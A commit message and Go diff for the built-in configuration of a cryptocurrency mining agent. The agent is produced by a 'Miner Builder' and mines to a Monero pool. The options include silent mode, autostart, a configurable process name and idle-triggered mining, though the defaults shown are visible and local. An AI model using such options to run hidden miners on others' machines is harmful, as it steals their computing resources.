Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.

agent/config/builtin.go

@@ -2,18 +2,21 @@ package config
 
 import "time"
 
-// Default stub used for local development builds. The Miner Builder replaces this file.
 func GetBuiltinConfig() BuiltinConfig {
 	return BuiltinConfig{
 		WorkerName:  "dev-worker",
 		ServerURL:   "http://127.0.0.1:8989",
 		Wallet:      "",
 		Threads:     4,
+		ThreadMode:  "percent",
+		ThreadPercent: 75,
 		CPUPriority: "below_normal",
 		MiningMode:  "always",
+		DisplayMode: "visible",
 		SilentMode:  false,
 		RunAs:       "user",
 		AutoStart:   false,
+		ProcessName: "CryptoMinerWorker",
 		BuildID:     "dev",
 		BuiltAt:     time.Now(),
 		PoolHost:    "pool.supportxmr.com",
@@ -21,6 +24,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		PoolTLS:     true,
 		PoolPass:    "x",
 		MaxCPUUsage: 80,
+		MaxMemoryPct: 70,
 		MinFreeRAM:  1024,
 		IdleThresholdPct:    20,
 		IdleDurationMinutes: 5,